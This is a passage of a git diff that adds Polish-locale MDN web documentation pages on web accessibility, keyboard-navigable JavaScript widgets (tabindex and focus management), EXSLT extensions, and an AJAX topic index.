lang="pl"><span>Gdy widget nie znajduje się w formularzu, klawisze Enter i Spacja powinny wybrać lub aktywować kontrolkę.</span></span></li> + <li><span id="result_box" lang="pl"><span>W formularzu klawisz Spacji powinien wybrać lub aktywować kontrolkę, natomiast klawisz Enter powinien przesłać domyślną akcję formularza</span></span>.</li> + <li><span id="result_box" lang="pl"><span>W razie wątpliwości naśladuj standardowe zachowanie pulpitu kontrolki, którą tworzysz</span></span>.</li> +</ul> + +<p><span id="result_box" lang="pl"><span>Tak więc, dla przykładu widżetów zakładki powyżej, użytkownik powinien móc nawigować do kontenera widgetu (<ol> w naszym znaczniku) i wychodzić za pomocą klawiszy Tab i Shift-Tab.</span> <span>Po ustawieniu nawigacji klawiaturą w kontenerze klawisze strzałek powinny umożliwiać użytkownikowi nawigację między kartami (elementy <li>)</span></span>. <span id="result_box" lang="pl"><span>Konwencje różnią się w zależności od platformy.</span> <span>W systemie Windows następna karta powinna być automatycznie aktywowana, gdy użytkownik naciśnie klawisze strzałek.</span> <span>W systemie Mac OS X użytkownik może nacisnąć klawisz Enter lub klawisz spacji, aby aktywować następną kartę</span></span>. <span id="result_box" lang="pl"><span>Szczegółowy samouczek do tworzenia</span></span> <a href="/en/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Keyboard-navigable JavaScript widgets</a> <span id="result_box" lang="pl"><span>opisuje sposób implementacji tego zachowania za pomocą JavaScript</span></span>.</p> + +<p><span id="result_box" lang="pl"><span>Aby uzyskać więcej informacji na temat konwencji nawigacyjnych na klawiaturze w stylu komputerowym, należy zapoznać się z obszernym opisem</span></span> <a class="external" href="http://karlgroves-sandbox.com/CheatSheets/DHTML-Style-Guide.html" title="http://dev.aol.com/dhtml_style_guide">DHTML style guide</a>. <span id="result_box" lang="pl"><span>Opis zawiera przegląd nawigacji klawiaturowej dla każdego typu widżetu obsługiwanego przez ARIA.</span> <span>W3C oferuje również pomocne</span></span> <a class="external" href="http://www.w3.org/WAI/PF/aria-practices/Overview.html" title="http://www.w3.org/WAI/PF/aria-practices/Overview.html">ARIA Best Practices</a> <span id="result_box" lang="pl"><span>dokument zawiera nawigację klawiaturową i konwencje skrótów dla różnych widżetów</span></span>. </p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="/en/ARIA" title="ARIA">ARIA</a></li> + <li><a href="/en/Accessibility/Web_applications_and_ARIA_FAQ" title="Web applications and ARIA FAQ">Web applications and ARIA FAQ</a></li> + <li><a class="external" href="http://www.w3.org/TR/wai-aria/" title="http://www.w3.org/TR/wai-aria/">WAI-ARIA Specification</a></li> + <li><a class="external" href="http://www.w3.org/WAI/PF/aria-practices/Overview.html" title="http://www.w3.org/WAI/PF/aria-practices/Overview.html">WAI-ARIA Best Practices</a></li> + <li><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/" title="http://dev.aol.com/dhtml_style_guide">DHTML Style Guide</a></li> +</ul> diff --git a/files/pl/web/dostępność/index.html b/files/pl/web/dostępność/index.html new file mode 100644 index 0000000000..801f0d62ac --- /dev/null +++ b/files/pl/web/dostępność/index.html @@ -0,0 +1,94 @@ +--- +title: Dostępność +slug: Web/Dostępność +tags: + - Dostępność +translation_of: Web/Accessibility +--- +<div> +<p>"<strong>Dostępność</strong> (ang. accessibility) - nauka oraz zbiór standardów opisujących metody i wytyczne tworzenia serwisów WWW w sposób umożliwiający wygodny dostęp jak najszerszemu gronu odbiorców. Dostępne serwisy mogą być bez trudu wykorzystywane przez osoby niewidzące, niedowidzące, użytkowników mniej popularnych wyszukiwarek czy platform mobilnych." <small><a class="external" href="http://pl.wikipedia.org/wiki/Dostępność">Artykuł o Dostępności na Wikipedii</a></small></p> +</div> + +<table class="topicpage-table"> + <tbody> + <tr> + <td> + <h4 id="Dokumentacja" name="Dokumentacja"><a>Przewodniki</a></h4> + + <dl> + <dt><a class="external" href="https://developer.mozilla.org/pl/docs/Learn/Accessibility/What_is_accessibility">Czym jest dostępność?</a></dt> + <dd><small>Niniejszy artykuł stanowi wstęp do modułu i jednocześnie obszerną odpowiedź na pytanie, czym właściwie jest dostępność - w tym jakie grupy ludzi powinniśmy brać pod uwagę i dlaczego, jakich narzędzi używają oni do interakcji z siecią oraz jak uczynić dostęność częścią naszej organizacji zadań.</small></dd> + </dl> + + <h4 id="Dokumentacja" name="Dokumentacja"><a>Dokumentacja</a></h4> + + <dl> + <dt><a class="external" href="http://www.kursusability.pl">Kurs Usability</a></dt> + <dd><small>Materiały opisujące zagadnienia związane z użytecznością, dostępnością oraz efektywnością serwisów WWW. </small></dd> + </dl> + + <dl> + <dt><a class="external" href="http://mimas.ceti.pl/dia/">W głąb dostępności</a></dt> + <dd><small>Niniejsza książka odpowiada na dwa pytania. Pierwsze brzmi: "Dlaczego powinienem uczynić swoją stronę WWW bardziej dostępną?" Jeżeli nie masz strony w sieci, ta książka nie jest dla Ciebie. Drugie pytanie to "Jak mogę uczynić moją stronę bardziej dostępną?" Jeżeli nie zostaniesz przekonany przez odpowiedź na pierwsze pytanie, nie będziesz zainteresowany odpowiedzią na drugie.</small></dd> + </dl> + + <dl> + <dt><a class="external" href="http://dwww.pl/">Web Accessibility po polsku</a></dt> + <dd><small>Dostępność w projektowaniu stron internetowych oznacza tworzenie takich dokumentów, które są czytelne i funkcjonalne dla wszystkich użytkowników niezależnie od ich fizycznych ograniczeń, sytuacji w jakiej się znajdują, a także używanego oprogramowania oraz sprzętu.</small></dd> + </dl> + + <dl> + <dt><a class="external" href="http://www.mozilla.org/access/today">Software Accessibility Today</a></dt> + <dd><small>The accessibility of computer software has seen drastic improvements over the past two decades. This article reviews the progress and technology as it has developed.</small></dd> + </dl> + + <dl> + <dt><a class="external" href="http://www.mozilla.org/access/keyboard/tabindex.html">Key-navigable custom DHTML widgets, in Mozilla and IE</a></dt> + <dd><small>Until now, web developers who want to make their styled <code><div></code> and <code><span></code> based widgets keyboard accessible have lacked the proper techniques. Keyboard accessibility is part of the minimum accessibility requirements of which any web developer should be aware.</small></dd> + </dl> + + <dl> + <dt><a class="external" href="http://www-306.ibm.com/able/guidelines/web/accessweb.html">Accessible Web Page Authoring</a></dt> + <dd><small>A handy web accessibility checklist, from IBM.</small></dd> + </dl> + + <p><br> + <span class="alllinks"><a>Pokaż wszystkie...</a></span></p> + </td> + <td> + <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> + + <ul> + <li>Obejrzyj fora Mozilli...</li> + <li><a class="external" href="http://www.w3.org/WAI/IG/">WAI Interest Group</a></li> + <li><a href="pl/Dost%c4%99pno%c5%9b%c4%87/Spo%c5%82eczno%c5%9b%c4%87">Inne społeczności...</a></li> + </ul> + + <h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h4> + + <ul> + <li><a class="external" href="http://www.mozilla.org/quality/embed/plans/accessibility/nsIAccessibleTestPlan.html">Automated Accessibility Tests</a></li> + <li><a class="external" href="http://www.standards-schmandards.com/index.php?show/fangs">Fangs Screen Reader Emulator</a></li> + </ul> + + <p><span class="alllinks"><a>Pokaż wszystkie...</a></span></p> + + <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4> + + <dl> + <dd><a href="pl/Programowanie_WWW">Programowanie WWW</a>, <a href="pl/Standardy_WWW">Standardy WWW</a>, <a href="pl/XUL">XUL</a></dd> + </dl> + + + </td> + </tr> + </tbody> +</table> + +<p><small> </small></p> + +<p> + </p><p><span class="comment">Categories</span></p> + + +<p><span class="comment">Interwiki Language Links</span></p> diff --git a/files/pl/web/dostępność/keyboard-navigable_javascript_widgets/index.html b/files/pl/web/dostępność/keyboard-navigable_javascript_widgets/index.html new file mode 100644 index 0000000000..3dd7d0f983 --- /dev/null +++ b/files/pl/web/dostępność/keyboard-navigable_javascript_widgets/index.html @@ -0,0 +1,171 @@ +--- +title: Keyboard-navigable JavaScript widgets +slug: Web/Dostępność/Keyboard-navigable_JavaScript_widgets +tags: + - Accessibility + - DOM + - Navigation +translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets +--- +<h3 id="Overview">Overview</h3> + +<p>Web applications often use JavaScript to mimic desktop widgets such as menus, tree views, rich text fields, and tab panels. These widgets are typically composed of {{ HTMLElement("div") }} and {{ HTMLElement("span") }} elements that do not, by nature, offer the same keyboard functionality that their desktop counterparts do. This document describes techniques to make JavaScript widgets accessible with the keyboard.</p> + +<h3 id="Using_tabindex">Using tabindex</h3> + +<p>By default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused. With the <code>tabindex</code> <a href="/en-US/docs/Web/HTML/Global_attributes">global attribute</a>, authors can make other elements focusable, too. When set to <code>0</code>, the element becomes focusable by keyboard and script. When set to <code>-1</code>, the element becomes focusable by script, but it does not become part of the keyboard focus order.</p> + +<p>The order in which elements gain focus when using a keyboard, is the source order by default. In exceptional circumstances, authors may want to redefine the order. To do this, authors can set <code>tabindex</code> to any positive number.</p> + +<div class="warning"> +<p><strong>Warning:</strong> avoid using positive values for <code>tabindex</code>. Elements with a positive <code>tabindex</code> are put before the default interactive elements on the page, which means page authors will have to set (and maintain) <code>tabindex</code> values for all focusable elements on the page whenever they use one or more positive values for <code>tabindex</code>.</p> +</div> + +<p>The following table describes <code>tabindex</code> behavior in modern browsers:</p> + +<table class="fullwidth-table" style="width: 75% !important;"> + <tbody> + <tr> + <th><code>tabindex</code> attribute</th> + <th>Focusable with mouse or JavaScript via <code>element.focus()</code></th> + <th>Tab navigable</th> + </tr> + <tr> + <td>not present</td> + <td>Follows the platform convention of the element (yes for form controls, links, etc.).</td> + <td>Follows the platform convention of the element.</td> + </tr> + <tr> + <td>Negative (i.e. <code>tabindex="-1"</code>)</td> + <td>Yes</td> + <td>No; author must focus the element with <code><a class="external text" href="../../../../En/DOM/Element.focus" rel="nofollow" title="https://developer.mozilla.org/En/DOM/Element.focus">focus()</a></code> in response to arrow or other key presses.</td> + </tr> + <tr> + <td>Zero (i.e. <code>tabindex="0"</code>)</td> + <td>Yes</td> + <td>In tab order relative to element's position in document (note that interactive elements like {{ HTMLElement("a") }} have this behavior by default, they don't need the attribute).</td> + </tr> + <tr> + <td>Positive (e.g. <code>tabindex="33"</code>)</td> + <td>Yes</td> + <td><code>tabindex</code> value determines where this element is positioned in the tab order: smaller values will position elements earlier in the tab order than larger values (for example, <code>tabindex="7"</code> will be positioned before <code>tabindex="11"</code>).</td> + </tr> + </tbody> +</table> + +<h4 id="Non-native_controls">Non-native controls</h4> + +<p>Native HTML elements that are interactive, like {{ HTMLElement("a") }}, {{ HTMLElement("input") }} and {{ HTMLElement("select") }}, are already accessible by keyboards, so to use one of them is the fastest path to make components work with keyboards.</p> + +<p>Authors can also make a {{ HTMLElement("div") }} or {{ HTMLElement("span") }} keyboard accessible by adding a <code>tabindex</code> of <code>0</code>. This is particularly useful for components that use interactive elements that do not exist in HTML.</p> + +<h4 id="Grouping_controls">Grouping controls</h4> + +<p>For grouping widgets such as menus, tablists, grids, or tree views, the parent element should be in the tab order (<code>tabindex="0"</code>), and each descendent choice/tab/cell/row should be removed from the tab order (<code>tabindex="-1"</code>). Users should be able to navigate the descendent elements using arrow keys. (For a full description of the keyboard support that is normally expected for typical widgets, see the <a class="external text" href="https://www.w3.org/TR/wai-aria-practices-1.1/" rel="nofollow" title="https://www.w3.org/TR/wai-aria-practices-1.1/">WAI-ARIA Authoring Practices</a>.)</p> + +<p>The example below shows this technique used with a nested menu control. Once keyboard focus lands on the containing {{ HTMLElement("ul") }} element, the JavaScript developer must programmatically manage focus and respond to arrow keys. For techniques for managing focus within widgets, see "Managing focus inside groups" below.</p> + +<p><em>Example 2: A menu control using tabindex to control keyboard access</em></p> + +<pre class="brush: html"><ul id="mb1" tabindex="0"> + <li id="mb1_menu1" tabindex="-1"> Font + <ul id="fontMenu" title="Font" tabindex="-1"> + <li id="sans-serif" tabindex="-1">Sans-serif</li> + <li id="serif" tabindex="-1">Serif</li> + <li id="monospace" tabindex="-1">Monospace</li> + <li id="fantasy" tabindex="-1">Fantasy</li> + </ul> + </li> + <li id="mb1_menu2" tabindex="-1"> Style + <ul id="styleMenu" title="Style" tabindex="-1"> + <li id="italic" tabindex="-1">Italics</li> + <li id="bold" tabindex="-1">Bold</li> + <li id="underline" tabindex="-1">Underlined</li> + </ul> + </li> + <li id="mb1_menu3" tabindex="-1"> Justification + <ul id="justificationMenu" title="Justication" tabindex="-1"> + <li id="left" tabindex="-1">Left</li> + <li id="center" tabindex="-1">Centered</li> + <li id="right" tabindex="-1">Right</li> + <li id="justify" tabindex="-1">Justify</li> + </ul> + </li> +</ul></pre> + +<h4 id="Disabled_controls">Disabled controls</h4> + +<p>When a custom control becomes disabled, remove it from the tab order by setting <code>tabindex="-1"</code>. Note that disabled items within a grouped widget (such as menu items in a menu) should remain navigable using arrow keys.</p> + +<h3 id="Managing_focus_inside_groups">Managing focus inside groups</h3> + +<p>When a user tabs away from a widget and returns, focus should return to the specific element that had focus, for example, the tree item or grid cell. There are two techniques for accomplishing this:</p> + +<ol> + <li>Roving <code>tabindex</code>: programmatically moving focus</li> + <li><code>aria-activedescendant</code>: managing a 'virtual' focus</li> +</ol> + +<h4 id="Technique_1_Roving_tabindex">Technique 1: Roving tabindex</h4> + +<p>Setting the <code>tabindex</code> of the focused element to "0" ensures that if the user tabs away from the widget and then returns, the selected item within the group retains focus. Note that updating the <code>tabindex</code> to "0" requires also updating the previously selected item to <code>tabindex="-1"</code>. This technique involves programmatically moving focus in response to key events and updating the <code>tabindex</code> to reflect the currently focused item. To do this:</p> + +<p>Bind a key down handler to each element in the group, and when an arrow key is used to move to another element:</p> + +<ol> + <li>programmatically apply focus to the new element,</li> + <li>update the <code>tabindex</code> of the focused element to "0", and</li> + <li>update the <code>tabindex</code> of the previously focused element to "-1".</li> +</ol> + +<p>Here's an example of a <a class="external text" href="https://files.paciellogroup.com/training/WWW2012/samples/Samples/aria/tree/index.html" rel="nofollow" title="Paciello Group Tree View example">WAI-ARIA tree view</a> using this technique.</p> + +<h5 id="Tips">Tips</h5> + +<h6 id="Use_element.focus_to_set_focus">Use element.focus() to set focus</h6> + +<p>Do not use <code>createEvent()</code>, <code>initEvent()</code> and <code>dispatchEvent()</code> to send focus to an element. DOM focus events are considered informational only: generated by the system after something is focused, but not actually used to set focus. Use <code>element.focus()</code> instead.</p> + +<h6 id="Use_onfocus_to_track_the_current_focus">Use onfocus to track the current focus</h6> + +<p>Don't assume that all focus changes will come via key and mouse events: assistive technologies such as screen readers can set the focus to any focusable element. Track focus using <code>onfocus</code> and <code>onblur</code> instead.</p> + +<p><code>onfocus</code> and <code>onblur</code> can now be used with every element. There is no standard DOM interface to get the current document focus. If you want to track the focus status, you can use the <a href="/en-US/docs/Web/API/DocumentOrShadowRoot/activeElement">document.activeElement</a> to get the active element. You can also use <a href="/en-US/docs/Web/API/Document/hasFocus">document.hasFocus</a> to make sure if the current document focus. </p> + +<h4 id="Technique_2_aria-activedescendant">Technique 2: aria-activedescendant</h4> + +<p>This technique involves binding a single event handler to the container widget and using the <code>aria-activedescendant</code> to track a "virtual" focus. (For more information about ARIA, see this <a class="external text" href="../../../../An_Overview_of_Accessible_Web_Applications_and_Widgets" rel="nofollow" title="https://developer.mozilla.org/An_Overview_of_Accessible_Web_Applications_and_Widgets">overview of accessible web applications and widgets</a>.)</p> + +<p>The <code>aria-activedescendant</code> property identifies the ID of the descendent element that currently has the virtual focus. The event handler on the container must respond to key and mouse events by updating the value of <code>aria-activedescendant</code> and ensuring that the current item is styled appropriately (for example, with a border or background color). See the source code of this <a class="external text" href="http://www.oaa-accessibility.org/example/28/" rel="nofollow" title="http://www.oaa-accessibility.org/example/28/">ARIA radiogroup example</a> for a direct illustration of how this works.</p> + +<h3 id="General_Guidelines">General Guidelines</h3> + +<h4 id="Use_onkeydown_to_trap_key_events_not_onkeypress">Use onkeydown to trap key events, not onkeypress</h4> + +<p>IE will not fire <code>keypress</code> events for non-alphanumeric keys. Use <code>onkeydown</code> instead.</p> + +<h4 id="Ensure_that_keyboard_and_mouse_produce_the_same_experience">Ensure that keyboard and mouse produce the same experience</h4> + +<p>To ensure that the user experience is consistent regardless of input device, keyboard and mouse event handlers should share code where appropriate. For example, the code that updates the <code>tabindex</code> or the styling when users navigate using the arrow keys should also be used by mouse click handlers to produce the same changes.</p> + +<h4 id="Ensure_that_the_keyboard_can_be_used_to_activate_element">Ensure that the keyboard can be used to activate element</h4> + +<p>To ensure that the keyboard can be used to activate elements, any handlers bound to mouse events should also be bound to keyboard events. For example, to ensure that the Enter key will activate an element, if you have an <code>onclick="doSomething()"</code>, you should bind <code>doSomething()</code> to the key down event as well: <code>onkeydown="return event.keyCode != 13 || doSomething();"</code>.</p> + +<h4 id="Always_draw_the_focus_for_tabindex-1_items_and_elements_that_receive_focus_programatically">Always draw the focus for tabindex="-1" items and elements that receive focus programatically</h4> + +<p>IE will not automatically draw the focus outline for items that programatically receive focus. Choose between changing the background color via something like <code>this.style.backgroundColor = "gray";</code> or add a dotted border via <code>this.style.border = "1px dotted invert"</code>. In the dotted border case you will need to make sure those elements have an invisible 1px border to start with, so that the element doesn't grow when the border style is applied (borders take up space, and IE doesn't implement CSS outlines).</p> + +<h4 id="Prevent_used_key_events_from_performing_browser_functions">Prevent used key events from performing browser functions</h4> + +<p>If your widget handles a key event, prevent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. If your event handler returns <code>false</code>, the event will not be propagated beyond your handler.</p> + +<p>For example:</p> + +<pre class="brush: html"><span tabindex="-1" onkeydown="return handleKeyDown();"></pre> + +<p>If <code>handleKeyDown()</code> returns <code>false</code>, the event will be consumed, preventing the browser from performing any action based on the keystroke.</p> + +<h4 id="Dont_rely_on_consistent_behavior_for_key_repeat_at_this_point">Don't rely on consistent behavior for key repeat, at this point</h4> + +<p>Unfortunately <code>onkeydown</code> may or may not repeat depending on what browser and OS you're running on.</p> diff --git a/files/pl/web/exslt/index.html b/files/pl/web/exslt/index.html new file mode 100644 index 0000000000..5fde08b5d5 --- /dev/null +++ b/files/pl/web/exslt/index.html @@ -0,0 +1,93 @@ +--- +title: EXSLT +slug: Web/EXSLT +tags: + - Dokumentacje + - EXSLT + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/EXSLT +--- +<p> +{{ XsltRef() }} +{{ Fx_minversion_header(3) }} +EXSLT to zestaw rozszerzeń języka <a href="pl/XSLT">XSLT</a>. Program Firefox obsługuje następujące spośród wielu istniejących modułów: +</p> +<dl><dt><a href="#Pakiet_podstawowy">Pakiet podstawowy</a> (<code>exsl</code>) +</dt><dd>Podstawowe elementy i funkcje rozszerzeń. +</dd><dt><a href="#Pakiet_matematyczny">Pakiet matematyczny</a> (<code>math</code>) +</dt><dd>Procedury służące do porównywania węzłów. +</dd><dt><a href="#Wyra.C5.BCenia_regularne">Wyrażenia regularne</a> (<code>regexp</code>) +</dt><dd>Mechanizmy wspomagające korzystanie z wyrażeń regularnych w składni języka JavaScript. +</dd><dt><a href="#Zestawy">Zestawy</a> (<code>set</code>) +</dt><dd>Procedury do obsługi zestawów. +</dd><dt><a href="#Ci.C4.85gi_znak.C3.B3w">Ciągi znaków</a> (<code>str</code>) +</dt><dd>Funkcje służące do manipulowania ciągami znaków. +</dd></dl> +<h3 id="Korzystanie_z_EXSLT" name="Korzystanie_z_EXSLT">Korzystanie z EXSLT</h3> +<p>Aby skorzystać z rozszerzenia EXSLT, należy zadeklarować jego przestrzeń nazw jako przestrzeń nazw rozszerzenia w arkuszu stylów. W poniższym przykładzie używany jest pakiet wyrażeń regularnych: +</p> +<pre class="eval"><xsl:stylesheet version="1.0" + xmlns:xsl="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" + xmlns:regexp="<span class="nowiki">http://exslt.org/regular-expressions</span>" + extension-element-prefixes="regexp"> + +<xsl:import href="regexp.xsl" /> + +... + +</xsl:stylesheet> +</pre> +<h3 id="Pakiet_podstawowy" name="Pakiet_podstawowy">Pakiet podstawowy</h3> +<p>Pakiet podstawowy EXSLT zawiera główne funkcje rozszerzające możliwości języka XSLT. Przestrzeń nazw pakietu podstawowego to <code><span class="nowiki">http://exslt.org/common</span></code>. +</p> +<h4 id="Funkcje" name="Funkcje"> Funkcje </h4> +<ul><li> <a href="pl/EXSLT/exsl/node-set">exsl:node-set</a> +</li><li> <a href="pl/EXSLT/exsl/object-type">exsl:object-type</a> +</li></ul> +<h3 id="Pakiet_matematyczny" name="Pakiet_matematyczny">Pakiet matematyczny</h3> +<p>Pakiet matematyczny EXSLT zawiera funkcje służące do operacji na wartościach numerycznych oraz do porównywania węzłów. Przestrzeń nazw pakietu matematycznego to <code><span class="nowiki">http://exslt.org/math</span></code>. +</p> +<h4 id="Funkcje_2" name="Funkcje_2">Funkcje</h4> +<ul><li> <a href="pl/EXSLT/math/highest">math:highest</a> +</li><li> <a href="pl/EXSLT/math/lowest">math:lowest</a> +</li><li> <a href="pl/EXSLT/math/max">math:max</a> +</li><li> <a href="pl/EXSLT/math/min">math:min</a> +</li></ul> +<h3 id="Wyra.C5.BCenia_regularne" name="Wyra.C5.BCenia_regularne">Wyrażenia regularne</h3> +<p>Pakiet wyrażeń regularnych EXSLT zawiera funkcje umożliwiające sprawdzanie, dopasowywanie i zastępowanie tekstu za pomocą wyrażeń regularnych w formie stosowanej w języku JavaScript. +</p><p>Przestrzeń nazw pakietu wyrażeń regularnych EXSLT to <code><span class="nowiki">http://exslt.org/regular-expressions</span></code>. +</p> +<h4 id="Funkcje_3" name="Funkcje_3">Funkcje</h4> +<ul><li> <a href="pl/EXSLT/regexp/match">regexp:match</a> +</li><li> <a href="pl/EXSLT/regexp/replace">regexp:replace</a> +</li><li> <a href="pl/EXSLT/regexp/test">regexp:test</a> +</li></ul> +<h3 id="Zestawy" name="Zestawy">Zestawy</h3> +<p>Pakiet zestawów EXSLT zawiera funkcje pozwalające na manipulowanie zestawami. Przestrzeń nazw dla tych funkcji to <code><span class="nowiki">http://exslt.org/sets</span></code>. +</p> +<h4 id="Funkcje_4" name="Funkcje_4">Funkcje</h4> +<ul><li> <a href="pl/EXSLT/set/difference">set:difference</a> +</li><li> <a href="pl/EXSLT/set/distinct">set:distinct</a> +</li><li> <a href="pl/EXSLT/set/intersection">set:intersection</a> +</li><li> <a href="pl/EXSLT/set/has-same-node">set:has-same-node</a> +</li><li> <a href="pl/EXSLT/set/leading">set:leading</a> +</li><li> <a href="pl/EXSLT/set/trailing">set:trailing</a> +</li></ul> +<h3 id="Ci.C4.85gi_znak.C3.B3w" name="Ci.C4.85gi_znak.C3.B3w">Ciągi znaków</h3> +<p>Pakiet ciągów znaków EXSLT zawiera funkcje służące do manipulowania ciągami znaków. Przestrzeń nazw tego pakietu to <code><span class="nowiki">http://exslt.org/strings</span></code>. +</p> +<h4 id="Funkcje_5" name="Funkcje_5">Funkcje</h4> +<ul><li> <a href="pl/EXSLT/str/concat">str:concat</a> +</li><li> <a href="pl/EXSLT/str/split">str:split</a> +</li><li> <a href="pl/EXSLT/str/tokenize">str:tokenize</a> +</li></ul> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<ul><li> <a class="external" href="http://www.exslt.org/">Witryna internetowa EXSLT</a> +</li></ul> +<p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/EXSLT", "es": "es/EXSLT", "fr": "fr/EXSLT", "ja": "ja/EXSLT" } ) }} diff --git a/files/pl/web/guide/ajax/index.html b/files/pl/web/guide/ajax/index.html new file mode 100644 index 0000000000..c8f03c5f20 --- /dev/null +++ b/files/pl/web/guide/ajax/index.html @@ -0,0 +1,23 @@ +--- +title: AJAX +slug: Web/Guide/AJAX +tags: + - AJAX + - Wszystkie_kategorie +translation_of: Web/Guide/AJAX +--- +<p> </p> +<p><span>"Getting Started" box, if there is no "Getting Started" article yet written, should be populated with another featurearticle or tutorial.</span></p> +<div class="callout-box"><strong><a href="/pl/AJAX/Na_początek" title="pl/AJAX/Na_początek">Na początek</a></strong><br> +Wprowadzenie do AJAX-a.</div> +<div> +<p><strong>AJAX (ang. <em>Asynchronous JavaScript and XML</em>, asynchroniczny JavaScript i XML)</strong> nie jest technologią sam w sobie, lecz terminem określającym "nowe" podejście do jednoczesnego wykorzystania takich istniejących technologii razem, jak: <a href="/pl/HTML" title="pl/HTML">HTML</a> lub <a href="/pl/XHTML" title="pl/XHTML">XHTML</a>, <a href="/pl/CSS" title="pl/CSS">kaskadowe arkusze stylów</a>, <a href="/pl/JavaScript" title="pl/JavaScript">JavaScript</a>, <a href="/pl/DOM" title="pl/DOM">obiektowy model dokumentu</a>, <a href="/pl/XML" title="pl/XML">XML</a>, <a href="/pl/XSLT" title="pl/XSLT">XSLT</a> oraz <a href="/pl/XMLHttpRequest" title="pl/XMLHttpRequest">obiekt XMLHttpRequest</a>. Dzięki modelowi AJAX, aplikacje sieciowe są w stanie dokonywać szybkich, przyrostowych aktualizacji w interfejsie użytkownika bez potrzeby przeładowywania całej strony WWW. W efekcie aplikacja wydaje się szybsza i lepiej reaguje na akcje użytkownika.</p> +</div> +<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja"><a href="/Special:Tags?tag=AJAX&language=pl" title="Special:Tags?tag=AJAX&language=pl">Dokumentacja</a></h4> <dl> <dt><a href="/pl/AJAX/Na_początek" title="pl/AJAX/Na_początek">Na początek</a></dt> <dd><small>Ten artykuł prowadzi czytelnika przez podstawy AJAX-u i podaje dwa proste przykłady, na początek.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.adaptivepath.com/publications/essays/archives/000385.php">Ajax: Nowe podejście do aplikacji sieciowych</a></dt> <dd><small>Jesse James Garrett z <a class="external" href="http://www.adaptivepath.com">adaptive path</a> napisał ten artykuł w lutym 2005 roku. Przedstawia w nim AJAX i jemu pokrewne koncepcje.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">A Simpler Ajax Path</a></dt> <dd><small>"Okazuje się że, wykorzystanie obiektu XMLHttpRequest w celu uczynienia aplikacji sieciowej bardziej interaktywną bez rezygnowania z tradycyjnych rozwiązań, takich jak formularze służące pobieraniu danych od użytkownika, nie musi być wcale takie trudne."</small></dd> </dl> <dl> <dt><a class="external" href="http://www.contentwithstyle.co.uk/Articles/38/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps">Fixing the Back Button and Enabling Bookmarking for AJAX Apps</a></dt> <dd><small>Mike Stenhouse opisuje kilka sposobów na poradzenie sobie podczas tworzenia aplikacji AJAX z problemamami dotyczącymi przycisku Wstecz i zakładek.</small></dd> </dl> <dl> <dt><a class="external" href="http://alexbosworth.backpackit.com/pub/67688">Ajax Mistakes</a></dt> <dd><small>Alex Bosworth pisze o błędach popełnianych przez programistów tworzących aplikacje w AJAX-ie. </small></dd> </dl> <p><span><a href="/Special:Tags?tag=AJAX&language=pl" title="Special:Tags?tag=AJAX&language=pl">Pokaż wszystkie...</a></span></p> </td> <td> <h4 id="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4> <ul> <li>Obejrzyj fora Mozilli...</li> </ul> <p>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</p> <h4 id="Narz.C4.99dzia">Narzędzia</h4> <ul> <li><strong><a class="external" href="http://www.ajaxlines.com">Tutorials, Resources and Toolkits</a></strong></li> <li><a class="external" href="http://www.ajaxprojects.com">Toolkits and frameworks</a></li> <li><a class="external" href="http://blog.monstuff.com/archives/000252.html">AJAX Debugging Tool</a></li> <li><a class="external" href="http://www.osflash.org/doku.php?id=flashjs">Flash/AJAX Integration Kit</a></li> <li><a class="external" href="http://xkr.us/code/javascript/XHConn/">A Simple XMLHTTP Interface Library</a></li> </ul> <p><span><a href="/Special:Tags?tag=AJAX:Narzędzia&language=pl" title="Special:Tags?tag=AJAX:Narzędzia&language=pl">Pokaż wszystkie...</a></span></p> <h4 id="Przyk.C5.82ady">Przykłady</h4> <ul> <li><a class="external" href="http://www.ajaxlines.com/ajax/stuff/article/ajax_poller_script.php">AJAX poller script</a></li> <li><a class="external" href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=9">Ajax Chat Tutorial</a></li> <li><a class="external" href="http://www.ajaxlines.com/ajax/stuff/article/ajax_toybox.php">Ajax Toybox</a></li> <li><a class="external" href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=13">RSS Ticker with AJAX</a></li> <li><a class="external" href="http://www.ajaxlines.com/ajax/stuff/article/ajax_login_system_using_xmlhttprequest.php">AJAX Login System using XMLHttpRequest</a></li> <li><a class="external" href="http://www.thinkvitamin.com/features/ajax/create-your-own-ajax-effects">Create your own Ajax effects</a></li> <li><a class="external" href="http://codinginparadise.org/weblog/2005/08/ajax-creating-huge-bookmarklets.html">AJAX: Creating Huge Bookmarklets</a></li> <li><strong><a class="external" href="http://www.ajaxprojects.com/ajax/projects/Cool_AJAX_sites">Cool Ajax Sites</a></strong></li> </ul> <h4 id="Powi.C4.85zane_tematy">Powiązane tematy</h4> <dl> <dd><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XHTML" title="pl/XHTML">XHTML</a>, <a href="/pl/CSS" title="pl/CSS">CSS</a>, <a href="/pl/DOM" title="pl/DOM">DOM</a>, <a href="/pl/JavaScript" title="pl/JavaScript">JavaScript</a>, <a href="/pl/XML" title="pl/XML">XML</a>, <a href="/pl/XMLHttpRequest" title="pl/XMLHttpRequest">XMLHttpRequest</a>, <a href="/pl/XSLT" 